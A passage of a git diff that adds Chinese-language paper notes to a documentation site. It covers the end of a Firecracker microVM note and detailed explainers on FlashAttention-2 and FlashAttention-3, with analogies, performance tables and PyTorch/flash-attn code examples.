root@`,而生产环境往往根本不给 tap 配路由。 + +## 论文评估:六个设计目标达标了吗? + +第 2 节提出的理想方案六条标准,第 5 节用实验回应: + +| 标准 | Firecracker 结论 | +|------|------------------| +| **Isolation** | 硬件 VM 边界;配合 SMT 关闭与内核缓解应对侧信道 | +| **Overhead / Density** | ~3MB/VM;远优于 QEMU 的 ~131MB | +| **Performance** | virtio 路径足够;块 IO 当时有序列化瓶颈(论文承认,后续改进) | +| **Compatibility** | 任意 Linux 二进制,无需重编译 | +| **Fast Switching** | 125ms 级启动;150 VM/s 创建 | +| **Soft Allocation** | 依赖宿主 Linux 调度与 cgroup,VMM 内建 token-bucket 限速器 | + +与 **Intel Cloud Hypervisor**(同源 rust-vmm)、**QEMU 4.2 最小构建**对比,Firecracker 在启动时间与内存开销上全面领先;块设备随机读 IOPS 则不如 QEMU 优化充分——论文坦诚这是已知限制。 + +## 与相关工作的位置 + +| 项目 | 关系 | +|------|------| +| [[kvm-2007]] | Firecracker 的 CPU/内存虚拟化底座 | +| [[xen-2003]] | 另一条 hypervisor 路线;Firecracker 是 Type-2(宿主 Linux + KVM) | +| [[denali-2002]] | 千 VM 密度思想的学术先驱 | +| [[mirage-unikernel-2013]] | 更激进地砍掉 guest OS;Firecracker 选择兼容未修改 Linux | +| Kata Containers | 也用 VM 包容器,多基于 QEMU;Firecracker 更瘦 | +| gVisor | 用户态 syscall 拦截, opposite trade-off | +| crosvm / rust-vmm | Firecracker 从 crosvm fork 后删到一半行数再演进 | + +## 踩坑与误解 + +1. **不是容器替代品**:Firecracker 替代的是 **QEMU 那一层**,不是 Docker;编排仍靠 containerd/K8s。 +2. **内核必须裁剪**:直接用 Ubuntu stock kernel 会多探测 900ms;要关 serial 日志、内置驱动、禁用模块。 +3. **块 IO 耐久性**:论文发表时 Firecracker 块设备未实现 flush,高性能写入以耐久性为代价——读论文要连**评测条件**一起看。 +4. **侧信道无银弹**:Meltdown/Spectre 后需宿主、固件、调度策略协同;Firecracker 文档列出长清单,不是「开了 VM 就万事大吉」。 +5. **与 firecracker-2020 笔记的关系**:本仓库 [[firecracker-2020]] 是更短的速读版;本篇按论文结构展开,适合零基础第一遍精读。 + +## 学到什么 + +1. **窄场景值得重写底层**:当 95% 的 QEMU 功能用不上时,重写 VMM 比优化 QEMU 更划算。 +2. **借力清单要清晰**:KVM 做虚拟化、Linux 做调度、virtio 做设备、OpenAPI 做配置——每层只做一件事。 +3. **安全是架构决策**:块设备而非 fs 直通、进程 per VM、Jailer seccomp——从设计第一天就写进代码。 +4. **经济学驱动技术**:125ms 不是炫技,它直接决定预热池大小与多租户能否赚钱。 +5. **生产迁移可以渐进**:slot 回收替换、内外部客户分批、可回滚——论文第 4.3 节是值得复制的 playbook。 + +## 延伸阅读 + +- 论文 PDF:[Firecracker: Lightweight Virtualization for Serverless Applications](https://www.usenix.org/system/files/nsdi20-paper-agache.pdf) +- 官方站点:[firecracker-microvm.github.io](https://firecracker-microvm.github.io/) +- 复现实验数据:[nsdi2020-data](https://github.com/firecracker-microvm/nsdi2020-data) +- 生产宿主加固:[prod-host-setup.md](https://github.com/firecracker-microvm/firecracker/blob/master/docs/prod-host-setup.md) +- Jeff Barr 博文:[Firecracker – Lightweight Virtualization for Serverless Computing](https://aws.amazon.com/blogs/aws/firecracker-lightweight-virtualization-for-serverless-computing/) + +## 关联 + +- [[kvm-2007]] — Linux 内核如何变成 hypervisor +- [[xen-2003]] — 半虚拟化时代的另一条路 +- [[denali-2002]] — 高密度轻量 VM 的早期实验 +- [[mirage-unikernel-2013]] — 编译期裁 OS 的极端方案 +- [[firecracker-2020]] — 本主题的短笔记版本 +- [[on-demand-container-loading]] — Lambda 上块设备与镜像加载的后续工程 + +## 反向链接 + + diff --git a/src/content/docs/papers/flashattention-2.md b/src/content/docs/papers/flashattention-2.md new file mode 100644 index 000000000..7376d7d7a --- /dev/null +++ b/src/content/docs/papers/flashattention-2.md @@ -0,0 +1,303 @@ +--- +title: FlashAttention-2 — 更快的 Attention 与更好的并行 +来源: https://arxiv.org/abs/2307.08691 +日期: 2026-06-13 +子分类: ML 系统 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:流水线已经省下了仓库运费,但车间排班还不对 + +FlashAttention(第一代)解决的是**仓库问题**:标准 attention 要把整张 N×N 的「谁看谁」分数表写进 HBM(显存里的慢速仓库),FlashAttention 用分块 + online softmax,**从不把整张表落盘**,显存从 O(N²) 降到 O(N),速度也涨了 2–4×。 + +但 Tri Dao 在 2023 年的 FlashAttention-2 论文里发现:**仓库运费省下来了,车间里的工人排班还是乱的**。 + +想象一条 GPU 上的**汽车装配线**: + +- **Streaming Multiprocessor(SM)** = 一条独立产线(A100 有 108 条)。 +- **Thread block** = 一个班组,负责某批零件。 +- **Warp(32 线程)** = 班组里 32 个工人,必须步调一致干活。 + +FlashAttention-1 的排班是:**每个 attention head 派一个班组**(thread block 数 ≈ batch × heads)。当 batch 很小、head 不多时,108 条产线可能只开了 8 条——**大量 SM 空转(低 occupancy)**。序列很长时,单个班组要干完一整头 attention,**内部工人还要互相传半成品(shared memory 读写)**,进一步拖慢。 + +FlashAttention-2 做了三件事: + +1. **少做「非矩阵乘」杂活**——GPU 的 Tensor Core 算矩阵乘比算 exp/除法快一个数量级,把 rescale 挪到块末尾统一做。 +2. **沿序列长度再切一刀并行**——哪怕 batch=1、head=1,长序列也能拆成多个 row block,**多条产线同时干同一头 attention**。 +3. **班组内按 Q 行切 warp,而不是按 K 列切**——每个 warp 独立算自己那几行输出,**不用在 shared memory 里开会合并**。 + +结果:在 FlashAttention 已经很快的基础上再快约 **2×**,A100 上达到理论峰值 FLOPs 的 **50–73%**,端到端 GPT 训练约 **225 TFLOPs/s(72% MFU)**——接近 cuBLAS 那种纯 GEMM 的效率。 + +--- + +## 是什么 + +**FlashAttention-2: Faster Attention with Better Parallelism and Work Partitioning**(Tri Dao,2023 年 7 月,[arXiv:2307.08691](https://arxiv.org/abs/2307.08691))是在 FlashAttention **数学完全不变**(仍是 exact attention,无近似)的前提下,重写 CUDA kernel,优化 **GPU 并行调度与工作划分**。 + +| 项目 | 内容 | +|------|------| +| 作者 | Tri Dao(Stanford,Christopher Ré 组) | +| 实现 | 基于 NVIDIA CUTLASS 3.x / CuTe 从零重写 | +| 相对 FA1 | 约 **2×** kernel 加速;A100 达峰值 FLOPs 的 50–73%(FA1 仅 25–40%) | +| 端到端 | GPT 类模型训练最高约 **225 TFLOPs/s / A100**,**72% model FLOPs utilization** | +| 开源 | [github.com/Dao-AILab/flash-attention](https://github.com/Dao-AILab/flash-attention)(v2 起默认后端) | + +与 PagedAttention([[paged-attention-vllm]])正交:PagedAttention 管 **KV cache 怎么存**;FlashAttention-2 管 **attention 矩阵怎么算**。现代 LLM 栈里两者常一起出现。 + +--- + +## 为什么重要 + +- **长上下文训练/推理的算力底座**:32k、128k context 若仍用 naive attention,算力和显存都扛不住;FA2 让「长序列 + 大 batch」在硬件上可行。 +- **PyTorch 2.x 默认路径**:`F.scaled_dot_product_attention` 在 CUDA 上优先走 FlashAttention-2/3 kernel,**不改模型代码**就吃到加速。 +- **说明「系统优化第二幕」**:FA1 证明 IO-aware 能赢;FA2 证明 **occupancy + warp 分工** 还能再榨一倍——瓶颈从 HBM 转向 SM 利用率与 kernel 融合。 +- **与 [[flash-attention]] 的关系**:先读 v1 理解 tiling / online softmax;v2 是在 v1 正确性之上做 **工程并行化**,不是新算法。 + +--- + +## 核心概念 + +### 1. 标准 attention 的两层瓶颈(复习) + +对序列长度 N、head 维度 d: + +``` +Attention(Q, K, V) = softmax(QK^T / √d) · V +``` + +- **数学复杂度**:O(N²d) FLOPs。 +- **内存**:物化 QK^T 要 O(N²) HBM(FlashAttention-1 已消除)。 +- **FA1 之后的新瓶颈**:kernel 仍慢,因为 GPU **SM 没喂饱**、**非 matmul 指令占比高**、**warp 间 shared memory 通信多**。 + +### 2. 减少 non-matmul FLOPs + +A100 上 Tensor Core 做 bf16/fp16 矩阵乘,吞吐远高于 CUDA core 上的 exp、max、除法。 + +FlashAttention-2 调整 **online softmax 的 rescaling 时机**:在每个 K/V tile 累加时少做几次标量 rescale,**在 tile 边界统一归一化**,让更多时间花在 `QK^T` 和 `PV` 这类 GEMM 上。 + +直觉:**尽量让 Tensor Core 一直转,别让几个 CPU 式标量运算把流水线卡住。** + +### 3. 序列维度并行(2D tiling) + +FlashAttention-1 的 thread block 网格大致是: + +``` +grid ≈ (batch_size × num_heads) +``` + +当 `batch × heads < SM 数量`(例如推理 batch=1、模型 head=32,A100 有 108 SM)时,**大量 SM 闲置**。 + +FlashAttention-2 把 Q 的行再切成 `T_r = ⌈N / B_r⌉` 个 **row block**,每个 `(batch, head, row_block)` 启动一个 thread block: + +``` +grid ≈ (batch_size × num_heads × T_r) +``` + +长序列(N 大)时,即使 batch 和 head 都小,也能 **用满 GPU**。反向传播类似地沿 K/V 的列块切分。 + +### 4. Warp 级工作划分:split-Q 取代 split-K + +在一个 thread block 内部,FA1 曾把 **K 的列** 分给不同 warp(split-K):warp 0 算 K 的前几列、warp 1 算后几列……最后 partial output 要在 **shared memory 里 reduce**,跨 warp 读写频繁。 + +FA2 改为 **split-Q**: + +- 每个 warp 负责 **Q 的不同行子集**(输出行的不同 slice)。 +- K、V 的 tile **所有 warp 共享读取**。 +- 各 warp 独立算完自己的输出 slice,**无需 warp 间归约**。 + +类比:以前 4 个工人各切菜的不同部位,最后还要把半成品倒进同一个盆搅拌;现在每人负责一道完整的小份菜,**各做各的,互不打扰**。 + +### 5. 性能数字怎么读 + +| 指标 | FA1(约) | FA2(约) | 含义 | +|------|-----------|-----------|------| +| 峰值 FLOPs 利用率 | 25–40% | 50–73% | 离 A100 312 TFLOPs/s 理论峰值有多近 | +| 相对 FA1 加速 | 1× | ~2× | 同硬件、同精度、同 N | +| 端到端 GPT 训练 | — | ~225 TFLOPs/s | 含 embedding、MLP、通信等全模型 | +| MFU | — | ~72% | Model FLOPs Utilization,业界常用训练效率指标 | + +「接近 GEMM 效率」的含义:attention 这种带 softmax 的非纯 matmul 算子,终于能和 cuBLAS 矩阵乘 **处在同一数量级** 的硬件利用率。 + +--- + +## 代码示例 + +### 示例 1:PyTorch 里显式选用 FlashAttention-2 后端 + +PyTorch 2.0+ 的 SDPA 会自动选最快 backend;下面演示如何 **强制对比** math(朴素)与 flash: + +```python +import torch +import torch.nn.functional as F +from torch.nn.attention import SDPBackend, sdpa_kernel + +# shape: [batch, num_heads, seq_len, head_dim] +B, H, N, D = 2, 32, 8192, 128 +q = torch.randn(B, H, N, D, device="cuda", dtype=torch.bfloat16) +k = torch.randn(B, H, N, D, device="cuda", dtype=torch.bfloat16) +v = torch.randn(B, H, N, D, device="cuda", dtype=torch.bfloat16) + +# FlashAttention-2(PyTorch 内部调用 flash_attn CUDA kernel) +with sdpa_kernel(SDPBackend.FLASH_ATTENTION): + out_flash = F.scaled_dot_product_attention( + q, k, v, is_causal=True, scale=1.0 / (D ** 0.5) + ) + +# 朴素实现:会物化 N×N,长序列 OOM 或极慢 +with sdpa_kernel(SDPBackend.MATH): + out_math = F.scaled_dot_product_attention( + q, k, v, is_causal=True, scale=1.0 / (D ** 0.5) + ) + +# exact attention:数值应一致(允许 bf16 微小误差) +torch.testing.assert_close(out_flash, out_math, rtol=1e-2, atol=1e-2) +``` + +长序列(N=8192)+ causal 时,`MATH` 往往 **显存爆炸或慢一个数量级**;`FLASH_ATTENTION` 走 FA2 分块路径,**显存 O(N)**、吞吐接近 GEMM。 + +### 示例 2:直接用 flash-attn 包(训练栈常见写法) + +HuggingFace / LLaMA 训练脚本里更常显式依赖 `flash_attn`: + +```python +# pip install flash-attn --no-build-isolation +from flash_attn import flash_attn_func + +# 输入 layout 与 SDPA 不同:[batch, seq, heads, dim] +x = torch.randn(2, 4096, 32, 128, device="cuda", dtype=torch.bfloat16) +q = k = v = x # 自注意力示意 + +# causal=True 启用 GPT 式下三角 mask;softmax_scale 默认 1/sqrt(d) +out = flash_attn_func(q, k, v, causal=True, softmax_scale=None) + +# out.shape == (2, 4096, 32, 128) +# backward 同样走 FA2 kernel,不存 N×N attention matrix +loss = out.sum() +loss.backward() +``` + +`flash_attn_func` 的 v2 实现即论文中的 **split-Q + 序列并行** kernel;与 `torch.compile`、FSDP 等组合时,注意 **head_dim** 仅支持常见值(64、128 等),非 8 倍数可能 fallback。 + +### 示例 3(伪代码):online softmax 与 FA2 的 rescale 优化 + +理解 FA2「少做 non-matmul」可对照下面 **分块流式 softmax**(与 [[flash-attention]] 中 `(m, l)` 记号一致): + +```python +import math + +def online_softmax_blocks(scores_blocks): + """scores_blocks: 把一行 N 个 logits 切成多块,模拟 FA tiling。""" + m = float("-inf") # 当前最大值 + l = 0.0 # 当前 exp 之和(未归一化) + acc = None # 加权 V 的分子累加(示意) + + for block in scores_blocks: + m_new = max(m, max(block)) + # FA2:尽量把 rescale 合并到块边界,减少块内多次标量除法 + scale_old = math.exp(m - m_new) if m > float("-inf") else 0.0 + l = l * scale_old + sum(math.exp(x - m_new) for x in block) + m = m_new + # ... 同步更新 acc(PV 的在线累加)... + + return [math.exp(x - m) / l for block in scores_blocks for x in block] +``` + +标准实现每来一块就可能对 **已有累加结果** 做一次 rescale;FA2 在 CUDA 里 **合并 rescale 次数**,让 warp 更多周期花在 `mma.sync`(矩阵乘)上。 + +--- + +## FlashAttention-1 vs FlashAttention-2 对照 + +| 维度 | FlashAttention-1 | FlashAttention-2 | +|------|------------------|------------------| +| 核心创新 | IO-aware tiling + online softmax | 更好的并行与工作划分 | +| Thread block 并行轴 | batch × heads | batch × heads × **seq row blocks** | +| Warp 策略 | split-K,需 shared memory reduce | **split-Q**,warp 独立 | +| non-matmul 占比 | 较高 | **降低**(rescale 合并) | +| A100 峰值利用率 | ~25–40% | **~50–73%** | +| 实现基础 | 手写 CUDA | **CUTLASS 3 / CuTe 重写** | + +数学输出:**bit-exact(在浮点语义下与 naive attention 一致)**,不是近似 attention。 + +--- + +## 踩过的坑 + +1. **head_dim 与硬件对齐**:FA2 kernel 对 d=64、128 等优化最充分;奇异的 head_dim 可能无法 dispatch,静默 fallback 到慢路径。 +2. **短序列不划算**:N 很小时,额外 thread block 与 tiling 开销 > 收益;seq_len < 512 可能不如朴素 kernel。 +3. **与 dropout / 自定义 bias**:训练时 attention dropout 需在 kernel 内支持;自定义 alibi / sliding window 要查 `flash_attn` 版本是否实现。 +4. **多卡训练 MFU 仍受通信限制**:单卡 225 TFLOPs/s 是 kernel 胜利;全集群 MFU 还被 ZeRO、梯度 all-reduce 拉低——**别用单卡 micro-benchmark 直接外推集群效率**。 +5. **FA3 已针对 H100**:Hopper 上 FlashAttention-3 用 WGMMA 异步再提速;A100 上 FA2 仍是主力。 + +--- + +## 适用 vs 不适用 + +**适用**: + +- 长序列 self-attention / causal LM 训练与推理 +- 需要 **exact attention**、不能接受 Performer / Linformer 近似 +- A100 / RTX 40 系 / H100(配合 FA3)等 NVIDIA GPU +- 与 PyTorch SDPA、HuggingFace、`flash_attn` 生态集成 + +**不适用**: + +- CPU / Apple Silicon 无 CUDA kernel(用 MPS 或 CPU SDPA) +- 极端稀疏 attention pattern(需 block-sparse 专用 kernel) +- 要改 attention 公式本身(如新增可学习 bias 矩阵)——需自写 Triton/CUDA(可参考 [[triton-llm]]) + +--- + +## 与相关工作的位置 + +```text +Attention 太慢 / 太占显存 + ├── 改算法(近似): Performer, Linformer, [[mamba]] … + └── 不改算法(系统): + FlashAttention-1 → IO-aware,O(N) 显存 + FlashAttention-2 → 并行 + warp 划分,~2× 更快 ← 本篇 + FlashAttention-3 → Hopper 异步 + FP8 + PagedAttention → KV cache 分页([[paged-attention-vllm]]) +``` + +--- + +## 历史小故事(可跳过) + +- **2022**:FlashAttention-1 在 NeurIPS 2022 亮相,Industry 几乎立刻 adopt。 +- **2023 年 7 月**:Tri Dao 单人(相对 v1 合作者更少)发布 FA2 论文;同月/blog 宣布 **CUTLASS 3 完全重写**。 +- **2023 下半年**:PyTorch 2.1+ 将 flash 后端默认化;LLaMA 2、Mistral 等训练栈默认 `flash_attn`。 +- **2024**:FlashAttention-3 瞄准 H100;FA2 仍是 Ampere/Ada 世代事实标准。 + +Tri Dao 的轨迹说明:**PhD 期间把一个问题(attention 效率)连续挖三代**,每一代都是同一数学、不同系统层——这是 MLSys 研究的典型成功路径。 + +--- + +## 学到什么 + +1. **第一层优化解决「能不能跑」**(FA1:显存);**第二层解决「跑满 GPU」**(FA2:occupancy + matmul 占比)。 +2. **并行维度要匹配硬件规模**:108 SM 的机器上,并行度只有 8 就会浪费 90% 算力——**序列长度也是并行轴**。 +3. **shared memory 是隐形杀手**:warp 间 reduce 看起来便宜,在 attention 这种重复 K/V 读取的结构里会被放大;**改数据归属(split-Q)** 往往比改算法更有效。 +4. **读 roofline**:先判断 memory-bound 还是 compute-bound;FA1 针对前者,FA2 在 memory 问题解决后针对 **compute 利用率**。 + +--- + +## 延伸阅读 + +- 论文:[arXiv:2307.08691](https://arxiv.org/abs/2307.08691) +- 作者博客:[Princeton NLP — FlashAttention-2](https://princeton-nlp.github.io/flash-atttention-2/)(含 warp 划分示意图) +- 代码:[Dao-AILab/flash-attention](https://github.com/Dao-AILab/flash-attention) +- 前置笔记:[[flash-attention]](v1:tiling 与 online softmax) +- 推理侧互补:[[paged-attention-vllm]](KV cache 分页) +- 基础:[[attention]](Transformer 原始定义) + +## 关联 + +- [[flash-attention]] —— FlashAttention 第一代,IO-aware exact attention +- [[attention]] —— FlashAttention-2 优化的核心算子 +- [[paged-attention-vllm]] —— 推理显存管理,与 FA2 正交互补 +- [[cutlass-2020]] —— FA2 基于 CUTLASS 3.x / CuTe 重写 kernel +- [[triton-llm]] —— 若需自定义 attention variant,Triton 是常见第二选择 +- [[gpt-3]] / [[llama]] —— 大模型训练依赖 FlashAttention 系列扛长序列 +- [[mamba]] —— 「换算法降复杂度」路线,与「精确 attention + 系统优化」路线对照 diff --git a/src/content/docs/papers/flashattention-3-2024.md b/src/content/docs/papers/flashattention-3-2024.md new file mode 100644 index 000000000..f683b3919 --- /dev/null +++ b/src/content/docs/papers/flashattention-3-2024.md @@ -0,0 +1,365 @@ +--- +title: FlashAttention-3 — Hopper 上的异步 Attention 与 FP8 低精度 +来源: https://arxiv.org/abs/2407.08608 +日期: 2026-06-13 +子分类: ML 系统 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:厨房升级了,但厨师还在按旧菜谱干活 + +FlashAttention-2 已经把 attention 这条「产线」排班优化到 A100 上能跑满 **50–73%** 峰值算力——相当于一家工厂把仓库运费(HBM 读写)省下来,又让 108 条流水线尽量都有人干活。 + +但 2024 年 NVIDIA 推出的 **Hopper(H100)** 不是「更快的 A100」,而是换了一整套厨房设备: + +- **新灶台(WGMMA)**:矩阵乘吞吐比 Ampere 的 `mma.sync` 高一大截,但必须用新指令才能吃满。 +- **自动传菜机器人(TMA)**:专门负责把食材从冷库(HBM)搬到操作台(shared memory),厨师不用自己算地址、搬货。 +- **半份调料盒(FP8)**:同样的灶台,用 8 位浮点能再快一倍,但精度更脆,大数一多就糊。 + +FlashAttention-2 移植到 H100 上,论文测得 **只有约 35% 理论峰值 FLOPs**——就像换了智能厨房,厨师仍按旧流程:**算矩阵时等 softmax,搬数据时等矩阵**,新设备大量时间在空转。 + +**FlashAttention-3**(Tri Dao 等,2024 年 7 月,NeurIPS 2024)针对 Hopper 做了三件事: + +1. **Warp specialization**:一部分 warp 专门 TMA 搬数据(producer),另一部分专门 WGMMA 算矩阵(consumer),**计算与搬运重叠**。 +2. **GEMM 与 softmax 交错(ping-pong / pipeline)**:Tensor Core 算 `QK^T` 和 `PV` 时,多功能单元同时算 `exp`——softmax 不再挡在矩阵乘后面排队。 +3. **块量化 + incoherent processing**:FP8 矩阵乘走硬件快路径,用 **分块 scale** 和 **Hadamard 正交变换** 把 outlier「摊平」,数值误差比朴素 FP8 attention **低 2.6×**。 + +结果:H100 SXM5 上 FP16/BF16 前向 **740 TFLOPs/s(约 75% 利用率)**,比 FA2 快 **1.5–2.0×**;FP8 接近 **1.2 PFLOPs/s**,且仍是 **exact attention**(在选定精度语义下与参考实现一致,不是稀疏/线性近似)。 + +--- + +## 是什么 + +**FlashAttention-3: Fast and Accurate Attention with Asynchrony and Low-Precision**([arXiv:2407.08608](https://arxiv.org/abs/2407.08608))是 FlashAttention 系列第三代:**数学仍是标准 scaled dot-product attention**,变化在 **Hopper 专用 CUDA kernel** 与 **FP8 数值路径**。 + +| 项目 | 内容 | +|------|------| +| 作者 | Tri Dao, Jay Shah, Beidi Chen, Varun B. Thakkar(Stanford / Meta / Together AI 等) | +| 目标硬件 | **NVIDIA Hopper(H100/H800)**,依赖 WGMMA、TMA、FP8 Tensor Core | +| 相对 FA2 | FP16 前向 **1.5–2.0×**;反向 **1.5–1.75×**;H100 峰值利用率 **35% → 75%** | +| FP8 | 近 **1.2 PFLOPs/s**;配合 block quant + incoherent processing,误差优于 per-tensor FP8 baseline **2.6×** | +| 实现 | CUTLASS / CuTe;开源 [Dao-AILab/flash-attention](https://github.com/Dao-AILab/flash-attention)(Hopper 分支) | + +与 [[flashattention-2]] 的关系:FA2 解决 **Ampere 上并行与 matmul 占比**;FA3 解决 **Hopper 上异步硬件 + 低精度**——不是换 attention 公式,是换「怎么喂饱 H100」。 + +--- + +## 为什么重要 + +- **长上下文 LLM 的算力天花板**:attention 仍是 Transformer 训练/推理的主瓶颈;H100 集群若仍跑 FA2,相当于 **浪费一半 Tensor Core**。 +- **FP8 训练/推理的可信路径**:业界想用 FP8 换吞吐,但 outlier 导致量化崩;FA3 证明 **系统层数值处理**(块量化 + Hadamard)可以和 **kernel 融合** 一起交付。 +- **硬件协同设计的范本**:WGMMA/TMA 异步指令不是「编译器自动就能用好」——需要 **warp 分工、双缓冲、ping-pong 调度** 才榨出 75% 利用率。 +- **与推理栈互补**:[[paged-attention-vllm]] 管 KV 怎么存;FA3 管 attention 怎么在 Hopper 上算——vLLM、PyTorch SDPA 等栈可叠加使用。 + +--- + +## 核心概念 + +### 1. 标准 attention 在 H100 上的新瓶颈(复习) + +``` +Attention(Q, K, V) = softmax(QK^T / √d) · V +``` + +FlashAttention-1/2 已消除 **O(N²) HBM 中间矩阵**。到了 H100,瓶颈变成: + +| 环节 | 问题 | +|------|------| +| 指令代际 | 仍用 `mma.sync` 只能吃到 Hopper Tensor Core 约 **2/3** 峰值 | +| 异构单元 | H100 FP16 matmul ~**989 TFLOPs/s**,special function(`exp`)仅 ~**3.9 TFLOPs/s**——差 **256×** | +| head_dim=128 时 | matmul FLOPs 约为 exp 的 512×,但 exp 仍可能占 **~50% 墙钟时间** | +| FP8 | matmul 再快一倍,exp 速度不变 → **softmax 更「拖后腿」** | + +结论:**必须 overlap**——矩阵乘和 softmax 要并行,而不是串行。 + +### 2. Hopper 三件套:WGMMA、TMA、FP8 + +**WGMMA(Warpgroup Matrix Multiply-Accumulate)** + +- 以 **warpgroup**(通常 4 个 warp = 128 线程)为单位发起大块 GEMM。 +- 异步:发起后可继续做别的事,结果稍后通过 barrier / 异步拷贝取回。 + +**TMA(Tensor Memory Accelerator)** + +- 硬件单元负责 **global memory ↔ shared memory** 的 tile 搬运(含边界处理)。 +- 释放寄存器,让 tile 更大、流水线更深;常与 **producer warp** 绑定。 + +**FP8 Tensor Core** + +- E4M3 / E5M2 等格式,H100 上 FP8 matmul 峰值约为 FP16 **2×**。 +- WGMMA 对 **operand layout** 有严格要求;FA3 在 kernel 内做 **layout 转换 / transpose** 以对接 FP8 GEMM。 + +### 3. 异步策略一:Warp specialization(生产者–消费者) + +类比 **寿司店**: + +- **师傅 A(producer warp)**:只用 TMA 从冷库取鱼生(Q/K/V tile)放到案板(shared memory)。 +- **师傅 B(consumer warp)**:只用 WGMMA 在案板上卷寿司(GEMM),不负责跑腿。 + +两者通过 **环形缓冲区(circular buffer)** 和 **mbarrier** 同步:案板上有空位就搬下一盘,有料就卷下一批。**搬运与计算重叠**,避免「师傅卷完干等进货」。 + +FA2 里 warp 既搬又算,寄存器压力大;FA3 分工后 **TMA 与 WGMMA 流水线化**,仅换用 Hopper 指令就能从 ~350 TFLOPs/s(FA2 on H100)提到 ~**540–570 TFLOPs/s**。 + +### 4. 异步策略二:GEMM 与 softmax 交错 + +Attention 每个 K/V block 大致做: + +``` +S = Q K^T # GEMM0 +P = softmax(S) # exp + reduce(慢) +O += P V # GEMM1 +``` + +**Inter-warpgroup ping-pong**:两个 warpgroup 交替——WG1 做 GEMM 时,WG2 做上一块的 softmax,反之亦然。论文中 head_dim=128、seq=8K:~570 → ~**620 TFLOPs/s**。 + +**Intra-warpgroup pipeline**:同一 warpgroup 内,GEMM 累加器还在算时,先对 **已就绪的 score 子块** 启动 exp。~620 → ~**640–660 TFLOPs/s**,代价是 **更高寄存器压力**(同时握 GEMM accumulator 与 softmax 临时量)。 + +### 5. 低精度:块量化 + incoherent processing + +**问题**:LLM 激活常有 **outlier**(极少数元素模长远大于其余),整 tensor 一个 scale 的 FP8 量化误差很大。 + +**块量化(block quantization)** + +- 对每个 tile / block 单独算 scale(如 per-block max),再 cast 到 FP8。 +- GEMM 在 FP8 Tensor Core 上算,**累加器仍用 FP32**(与 FA 系列 online softmax 一致)。 + +**Incoherent processing**(来自 QuIP / QuIP# 等量化文献) + +- 对 Q、K 左乘 **随机正交矩阵** H(实现上用 **带随机符号的 Hadamard 变换**,O(d log d))。 +- 效果:outlier 能量被 **扩散** 到更多维度,块量化误差下降。 +- 注意力分数满足 `(QH)(KH)^T = QK^T` 当 H 正交——**不改变 exact attention 结果**(在浮点语义下)。 +- Hadamard 是 memory-bound,可与 **RoPE 等同样 memory-bound 的操作融合**,额外开销很小。 + +论文在 0.1% 元素人为放大模拟 outlier 时,FA3 FP8 比 **per-tensor FP8 baseline 误差低 2.6×**。 + +### 6. 性能数字怎么读 + +| 指标 | FA2 @ H100(约) | FA3 @ H100(约) | +|------|------------------|------------------| +| FP16 前向峰值 | ~350 TFLOPs/s(~35%) | **~740 TFLOPs/s(~75%)** | +| FP16 相对加速 | 1× | **1.5–2.0×** | +| FP8 前向 | — | **~1.2 PFLOPs/s** | +| vs cuDNN 9 | — | 长序列 FP16 **更快**;FP8 多数场景 **持平或更快**(因果 mask + 大 head_dim 有 trade-off) | +| 数值 | FA2 同级 | FP16 与 FA2 同级;FP8 显著优于 naive FP8 attention | + +NeurIPS 正式版摘要写 BF16 最高 **840 TFLOPs/s(85%)**、FP8 **1.3 PFLOPs/s**——与 blog 数字同属不同 benchmark 配置,趋势一致:**Hopper 利用率从三分之一拉到四分之三**。 + +--- + +## 代码示例 + +### 示例 1:检测 GPU 代数并选用 FlashAttention-3(Hopper) + +FA3 kernel **仅 Hopper(sm_90)** 有完整路径;Ampere 仍用 FA2。下面演示如何在 PyTorch 里 **按架构选 backend**: + +```python +import torch +import torch.nn.functional as F +from torch.nn.attention import SDPBackend, sdpa_kernel + +def hopper_flash_sdpa(q, k, v, *, causal=True): + """q,k,v: [B, H, N, D] on CUDA.""" + major, _ = torch.cuda.get_device_capability() + if major < 9: + backend = SDPBackend.FLASH_ATTENTION # FA2 on Ampere/Ada + else: + # PyTorch 2.4+ / nightly:Hopper 上 SDPA 可 dispatch FA3 + backend = SDPBackend.FLASH_ATTENTION + + scale = q.shape[-1] ** -0.5 + with sdpa_kernel(backend): + return F.scaled_dot_product_attention( + q, k, v, is_causal=causal, scale=scale + ) + +B, H, N, D = 1, 32, 16384, 128 +q = torch.randn(B, H, N, D, device="cuda", dtype=torch.bfloat16) +k = torch.randn(B, H, N, D, device="cuda", dtype=torch.bfloat16) +v = torch.randn(B, H, N, D, device="cuda", dtype=torch.bfloat16) + +out = hopper_flash_sdpa(q, k, v) +assert out.shape == (B, H, N, D) +``` + +长序列(N=16K)+ causal 时,H100 上 FA3 相对 FA2 的增益最明显;**短序列或 batch 极小** 时 kernel launch 开销可能吃掉优势。 + +### 示例 2:flash-attn 包显式调用 Hopper / FP8 路径 + +训练栈常直接用 `flash_attn` 仓库的 Hopper 实现(需从源码编译,CUDA ≥ 12.3): + +```python +# pip install flash-attn --no-build-isolation +# 需 Hopper GPU + 支持 FP8 的 flash-attn 构建 +import torch +from flash_attn import flash_attn_func + +# layout: [batch, seqlen, nheads, headdim] +B, N, H, D = 2, 8192, 32, 128 +q = torch.randn(B, N, H, D, device="cuda", dtype=torch.bfloat16) +k = torch.randn(B, N, H, D, device="cuda", dtype=torch.bfloat16) +v = torch.randn(B, N, H, D, device="cuda", dtype=torch.bfloat16) + +# causal LM;Hopper 上内部走 WGMMA + TMA + 异步 softmax +out_bf16 = flash_attn_func(q, k, v, causal=True) + +# FP8 路径(若构建启用):Q/K/V 可在 kernel 内 block-quant + incoherent transform +# 具体 API 以 flash-attn 版本 README 为准,例如: +# out_fp8 = flash_attn_func(..., softcap=0.0, deterministic=False, fp8=True) + +loss = out_bf16.sum() +loss.backward() # 反向同样针对 Hopper 优化,不物化 N×N 矩阵 +``` + +与 [[flashattention-2]] 示例相同:**`[B, N, H, D]` layout** 与 SDPA 的 `[B, H, N, D]` 不同,集成时注意 transpose。 + +### 示例 3(伪代码):Hadamard incoherent processing 为何不改注意力语义 + +理解 FP8 数值路径,核心是 **正交变换在 logits 上抵消**: + +```python +import math + +def hadamard(x): + """简化示意:实际用 FWHT + 随机 sign,O(d log d)。""" + n = len(x) + h = 1 + buf = list(x) + while h < n: + for i in range(0, n, h * 2): + for j in range(i, i + h): + a, b = buf[j], buf[j + h] + buf[j], buf[j + h] = a + b, a - b + h *= 2 + return [v / math.sqrt(n) for v in buf] + +def block_fp8_quant(x, block_size=64): + 